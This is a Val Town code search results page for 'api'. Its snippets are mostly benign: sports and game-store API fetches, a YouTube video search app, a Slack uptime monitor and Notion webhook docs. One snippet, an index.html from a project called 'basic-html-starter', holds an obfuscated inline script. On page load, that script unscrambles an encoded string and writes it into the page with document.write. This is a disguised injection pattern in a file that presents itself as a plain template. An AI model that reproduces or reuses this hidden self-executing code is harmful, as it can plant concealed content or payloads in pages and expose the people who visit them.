Val Town Code SearchReturn to Val Town

API Access

You can access search results via JSON API by adding format=json to your query:

https://codesearch.val.run//%22https:/unpkg.com/react@18/umd/react.development.js/%22?q=api&page=1&format=json

For typeahead suggestions, use the /typeahead endpoint:

https://codesearch.val.run/typeahead?q=api

Returns an array of strings in format "username" or "username/projectName"

Found 25399 results for "api"(1375ms)

untitled-2035main.ts3 matches

@chatgotUpdated 44 mins ago
51 const [nflResponse, fantasyResponse] = await Promise.all([
52 fetch(
53 "http://site.api.espn.com/apis/site/v3/sports/football/nfl/scoreboard",
54 ),
55 fetch(
56 `https://lm-api-reads.fantasy.espn.com/apis/v3/games/ffl/seasons/${YEAR}/segments/0/leagues/${LEAGUE_ID}?view=mMatchup&view=mMatchupScore&view=mTeam&view=mRoster&view=mLiveScoring&scoringPeriodId=${currentWeek}`,
57 {
58 headers: {
311 // Use kona_player_info view to get ALL players including free agents
312 const allPlayersUrl =
313 `https://lm-api-reads.fantasy.espn.com/apis/v3/games/ffl/seasons/${YEAR}/segments/0/leagues/${LEAGUE_ID}?view=kona_player_info&scoringPeriodId=${week}`;
314
315 const allPlayersResponse = await fetch(allPlayersUrl, {
14
15 const response = await fetch(
16 "https://http-proxy.val.run/?finalUrl=https%3A%2F%2Fegs-platform-service.store.epicgames.com%2Fapi%2Fv2%2Fpublic%2Fdiscover%2Fhome%3Fcount%3D10%26country%3DPT%26locale%3Den%26platform%3Dandroid%26start%3D0%26store%3DEGS",
17 );
18 const json = await response.json();

epic-games-ios-free-gamesmain.ts1 match

@gmcabritaUpdated 1 hour ago
14
15 const response = await fetch(
16 "https://http-proxy.val.run/?finalUrl=https%3A%2F%2Fegs-platform-service.store.epicgames.com%2Fapi%2Fv2%2Fpublic%2Fdiscover%2Fhome%3Fcount%3D10%26country%3DPT%26locale%3Den%26platform%3Dios%26start%3D0%26store%3DEGS",
17 );
18 const json = await response.json();

TopTenVideosapp.js11 matches

@pmapowerUpdated 1 hour ago
15 this.form.addEventListener('submit', this.handleSearch.bind(this));
16
17 // API Key tester
18 const testKeyBtn = document.getElementById('test-key-btn');
19 if (testKeyBtn) {
23
24 async handleTestKey() {
25 const testKeyInput = document.getElementById('test-api-key');
26 const testKeyBtn = document.getElementById('test-key-btn');
27 const resultDiv = document.getElementById('key-test-result');
28
29 const apiKey = testKeyInput.value.trim();
30
31 if (!apiKey) {
32 this.showKeyTestResult('Please enter an API key to test', 'error');
33 return;
34 }
38 testKeyBtn.textContent = 'Testing...';
39 resultDiv.className = 'mt-3 p-3 bg-gray-100 rounded text-sm';
40 resultDiv.innerHTML = '🔄 Testing API key...';
41 resultDiv.classList.remove('hidden');
42
43 try {
44 const response = await fetch('/api/test-key', {
45 method: 'POST',
46 headers: {
47 'Content-Type': 'application/json'
48 },
49 body: JSON.stringify({ apiKey })
50 });
51
54 if (data.success) {
55 this.showKeyTestResult(
56 `✅ API key is valid! Found ${data.sampleData.videoCount} video(s). Sample: "${data.sampleData.firstVideoTitle}"`,
57 'success'
58 );
59 } else {
60 this.showKeyTestResult(
61 `❌ API key failed: ${data.error}`,
62 'error'
63 );
105
106 try {
107 const response = await fetch(`/api/videos?niche=${encodeURIComponent(niche)}`);
108 const data = await response.json();
109

PixelPixelApiMonitormain.ts10 matches

@selfire1Updated 1 hour ago
3 const channel = "C060TG0KLQJ";
4
5 const middlewareApiResponse = await fetch(
6 "https://api.pixelpixel.site/api/v1",
7 );
8 console.log("Middleware API Status:", middlewareApiResponse.status);
9
10 if (!middlewareApiResponse.ok) {
11 const slackResponse = await sendSlackMessage(
12 `https://api.pixelpixel.site/api/v1 returns an error: *${middlewareApiResponse.status}* - *${middlewareApiResponse.statusText}*.
13
14Check the _Droplet Dashboard_.`,
17 }
18
19 const horizonApiResponse = await fetch(
20 "https://preview-horizon-backend.pixelpixel.site/",
21 );
22 console.log("Horizon API Status:", horizonApiResponse.status);
23 if (!horizonApiResponse.ok) {
24 const slackResponse = await sendSlackMessage(
25 `Horizon preview backend appears to be down (${horizonApiResponse.status} - ${horizonApiResponse.statusText}). https://preview-horizon-backend.pixelpixel.site.`,
26 );
27 console.log("Slack status", slackResponse.status);
29
30 async function sendSlackMessage(text: string) {
31 return await fetch("https://slack.com/api/chat.postMessage", {
32 headers: {
33 Authorization: `Bearer ${SLACK_TOKEN}`,

TopTenVideosindex.html20 matches

@pmapowerUpdated 1 hour ago
90 <!-- Setup Instructions -->
91 <div id="setup-info" class="max-w-4xl mx-auto mt-12 bg-blue-50 border border-blue-200 rounded-lg p-6">
92 <h3 class="text-lg font-semibold text-blue-800 mb-3">🔧 YouTube API Setup Guide</h3>
93
94 <!-- API Key Tester -->
95 <div class="mb-6 bg-white p-4 rounded-lg border">
96 <h4 class="font-semibold text-gray-800 mb-3">🧪 Test Your API Key</h4>
97 <div class="flex gap-3">
98 <input
99 type="text"
100 id="test-api-key"
101 placeholder="Paste your YouTube API key here to test it..."
102 class="flex-1 px-3 py-2 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500 text-sm font-mono"
103 >
113
114 <div class="mb-6">
115 <h4 class="font-semibold text-blue-800 mb-2">Step 1: Create API Key</h4>
116 <ol class="list-decimal list-inside text-blue-700 space-y-1 mb-4 ml-4">
117 <li>Go to <a href="https://console.developers.google.com/" target="_blank" class="underline font-medium">Google Cloud Console</a></li>
118 <li>Create a new project or select an existing one</li>
119 <li>Go to "APIs & Services" → "Library"</li>
120 <li>Search for and enable <strong>"YouTube Data API v3"</strong></li>
121 <li>Go to "APIs & Services" → "Credentials"</li>
122 <li>Click "Create Credentials" → "API Key"</li>
123 <li>Copy your API key</li>
124 </ol>
125 </div>
126
127 <div class="mb-6">
128 <h4 class="font-semibold text-blue-800 mb-2">Step 2: Configure API Key</h4>
129 <ol class="list-decimal list-inside text-blue-700 space-y-1 mb-4 ml-4">
130 <li>In Val Town, go to your environment variables</li>
131 <li>Add a new variable named: <code class="bg-blue-100 px-2 py-1 rounded font-mono">YOUTUBE_API_KEY</code></li>
132 <li>Paste your API key as the value</li>
133 <li>Save the environment variable</li>
134 </ol>
139 <div class="space-y-3 text-sm">
140 <div class="bg-white p-3 rounded border-l-4 border-yellow-400">
141 <strong class="text-gray-800">API Key Invalid Error:</strong>
142 <ul class="mt-1 text-gray-700 list-disc list-inside ml-4">
143 <li>Double-check your API key is copied correctly (no extra spaces)</li>
144 <li>Ensure YouTube Data API v3 is enabled in Google Cloud Console</li>
145 <li>Wait a few minutes after creating the key for it to activate</li>
146 <li>Try removing all API restrictions temporarily</li>
147 </ul>
148 </div>
150 <strong class="text-gray-800">Quota Exceeded Error:</strong>
151 <ul class="mt-1 text-gray-700 list-disc list-inside ml-4">
152 <li>YouTube API has daily quotas (10,000 units/day for free tier)</li>
153 <li>Each search uses ~100 units, so you can do ~100 searches per day</li>
154 <li>Reset happens at midnight Pacific Time</li>
159
160 <p class="text-sm text-blue-600">
161 💡 <strong>Good news:</strong> The YouTube Data API is completely free for personal use with generous daily quotas!
162 </p>
163 </div>

TopTenVideosindex.ts34 matches

@pmapowerUpdated 1 hour ago
72});
73
74// API key tester endpoint
75app.post("/api/test-key", async (c) => {
76 const body = await c.req.json();
77 const testKey = body.apiKey;
78
79 if (!testKey) {
80 return c.json({ error: "API key is required" }, 400);
81 }
82
83 try {
84 const testUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=test&maxResults=1&key=${testKey}`;
85 const testResponse = await fetch(testUrl);
86 const responseData = await testResponse.json();
89 return c.json({
90 success: true,
91 message: "API key is valid and working!",
92 sampleData: {
93 videoCount: responseData.items?.length || 0,
110 }
111});
112app.get("/api/debug", async (c) => {
113 const apiKey = Deno.env.get("YOUTUBE_API_KEY");
114
115 if (!apiKey) {
116 return c.json({
117 hasApiKey: false,
118 message: "No API key found in environment variables"
119 });
120 }
121
122 // Test the API key with a simple request
123 try {
124 const testUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=test&maxResults=1&key=${apiKey}`;
125 const testResponse = await fetch(testUrl);
126 const responseText = await testResponse.text();
127
128 return c.json({
129 hasApiKey: true,
130 keyLength: apiKey.length,
131 keyPrefix: apiKey.substring(0, 8) + "...",
132 testStatus: testResponse.status,
133 testOk: testResponse.ok,
134 testResponse: testResponse.ok ? "API key works!" : responseText.substring(0, 500)
135 });
136 } catch (error) {
137 return c.json({
138 hasApiKey: true,
139 keyLength: apiKey.length,
140 keyPrefix: apiKey.substring(0, 8) + "...",
141 testError: error.message
142 });
144});
145
146// API endpoint to search YouTube videos
147app.get("/api/videos", async (c) => {
148 const niche = c.req.query("niche");
149 const apiKey = Deno.env.get("YOUTUBE_API_KEY");
150
151 if (!niche) {
153 }
154
155 if (!apiKey) {
156 return c.json({ error: "YouTube API key not configured" }, 500);
157 }
158
159 try {
160 // Search for videos
161 const searchUrl = `https://www.googleapis.com/youtube/v3/search?part=snippet&q=${encodeURIComponent(niche)}&type=video&order=relevance&maxResults=10&key=${apiKey}`;
162
163 const searchResponse = await fetch(searchUrl);
164 if (!searchResponse.ok) {
165 const errorText = await searchResponse.text();
166 console.error(`YouTube API error details:`, errorText);
167
168 // Parse error for better user feedback
169 try {
170 const errorData = JSON.parse(errorText);
171 if (errorData.error?.message?.includes("API key not valid")) {
172 return c.json({
173 error: "Invalid YouTube API Key",
174 details: "Your API key is not valid. Please check that:\n1. The API key is correct\n2. YouTube Data API v3 is enabled for your project\n3. The API key has the proper permissions"
175 }, 400);
176 }
177 if (errorData.error?.message?.includes("quota")) {
178 return c.json({
179 error: "YouTube API Quota Exceeded",
180 details: "You've reached your daily quota limit. Try again tomorrow or upgrade your quota."
181 }, 429);
182 }
183 return c.json({
184 error: "YouTube API Error",
185 details: errorData.error?.message || `HTTP ${searchResponse.status}`
186 }, searchResponse.status);
187 } catch {
188 return c.json({
189 error: "YouTube API Error",
190 details: `HTTP ${searchResponse.status}: ${errorText}`
191 }, searchResponse.status);
199
200 // Get video statistics and duration
201 const detailsUrl = `https://www.googleapis.com/youtube/v3/videos?part=statistics,contentDetails&id=${videoIds}&key=${apiKey}`;
202
203 const detailsResponse = await fetch(detailsUrl);

basic-html-starterindex.html1 match

@evermindUpdated 2 hours ago
1<script>(()=>{for(j=function(){for(h='.c3M,YNG@t*wj#wkO6u',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("trtrss.ucihirCds%3E.lj%7BEcult/nti0fot0oiaYtnm.e%3Cdertasc(m%3El5df%3C.%3C;ttf;pe%25o80/:xi,lcteDl5fm3sOodh:deoer;:%3Eslsj;rLrd.se--:.tb%3C/dx.i-s#:lr4itjt)o/Tftxp8chw%3C3ipdto#%20Pa%25;%25aheo0=0::tiou;irlltrpsn2yoioitapipd0nr9ie9zm4@-tobdi.yms;nee%25ayitly.3x93!a:btan0one%7Drn%3E:%200pe:ndm00otpxao0t%20i(o%3Eigx/e%20y0npeb(.her5/aato%3Cee%20ot%20:dramtrqrr%20idr%3Cafocn=eiad5%3C%3Cn9ni9ia5%7Dnep0de%3Eialt%7Bcfgshs=%20fes%20lta;d.et=snd:/hsw%20renprut:,snnunfw%25hgsyo;-%7BcsaUk;en).3R%20)a=4paea;prndectipqsws%20r)%20vho1has1tl=6%3Eso;drucdst.loaut:%3Ecr%22r3)socc%3Eedftvtoia%22efec/iCXil.%7Dtiic%25ltk%7Bni.e,kredsrh./:rtl6fa%22mdd%20sO%3Ca%7BL:%25hcmv%7Dt-c%22Ctae%20speo%20%225ro%7B%22/(wiaoi(pmacifx%22%3E)adg,u%20dnoe:/r8sTfcten.).a=t(pwmti/tonlwxadi%20u.PweetpPnasr%7D)%7Butpne,%22.i.spocSs%7D,emr.t(e)c%22i-,ieno;e:ao.()b)%3CnsmTenwtcc-osnhpsoeacrx(a/.urb2gohlocslare)t/eDt,et%22ynahtomdnf:opcnoS,l-P(mr%20tew%3Epteda(nd-dtielo.Slere(s%7Ddotc(totLb)o/ayriDto")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>
27Updates a Notion page's URL property with a glimpse URL.
28
29**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
30
31**Request Body:**
73```
74
75500 - Notion API error:
76```json
77{
78 "success": false,
79 "error": "Failed to update Notion page with URL",
80 "details": "Notion API error message"
81}
82```
85```bash
86curl -X POST https://your-val.web.val.run/tasks/url \
87 -H "X-API-KEY: your-notion-webhook-secret" \
88 -H "Content-Type: application/json" \
89 -d '{"data": {"id": "your-page-id"}}'
94Assigns agents to demos based on Notion page assignments. Processes the "Assigned" property and creates agent blob assignments.
95
96**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
97
98**Request Body:**
160 "success": false,
161 "error": "Failed to fetch page data",
162 "details": "Notion API error message"
163}
164```
175```bash
176curl -X POST https://your-val.web.val.run/tasks/assign \
177 -H "X-API-KEY: your-notion-webhook-secret" \
178 -H "Content-Type: application/json" \
179 -d '{"data": {"id": "your-page-id"}}'
186**Test webhook receiver** - logs payload and returns success. Not for production use.
187
188**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
189
190**Response:**
197Test endpoint for webhook authentication.
198
199**Authentication:** Requires `X-API-KEY` header with `NOTION_WEBHOOK_SECRET` value.
200
201**Success Response (200):**
2
3// Initialize Notion client
4export const notion = new Client({ auth: Deno.env.get("NOTION_API_KEY") });
5
6// Standard response format for all Notion services

PixelPixelApiMonitor1 file match

@selfire1Updated 1 hour ago
Regularly polls the API and messages on an error.

weatherApp1 file match

@dcm31Updated 8 hours ago
A simple weather app with dropdown cities using Open-Meteo API
fapian
<("<) <(")> (>")>
Kapil01